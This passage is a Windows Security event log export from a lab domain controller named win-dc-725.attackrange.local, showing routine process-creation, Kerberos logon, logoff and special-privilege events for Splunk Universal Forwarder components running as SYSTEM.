Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:20:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256411
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:20:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256414
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x401629

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:20:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256413
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x401629
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51540

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:20:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256412
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x401629

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:21:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256415
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:21:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256417
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:21:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256416
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:21:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256418
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:21:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256419
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:21:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256420
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:21:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256421
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:21:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256423
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4040B6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51547

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:21:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256422
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4040B6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:21:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256425
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4047CB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{68513207-EE9F-7088-7C79-4A7797658EB5}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:21:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256424
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4047CB

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/12/2021 01:21:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256426
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4040B6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:21:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256429
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40527F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:21:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256428
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x40527F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65244

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:21:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256427
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40527F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256435
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40559A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:22:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256434
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x40559A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65248

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256433
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40559A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256432
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40552E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:22:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256431
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x40552E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65247

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

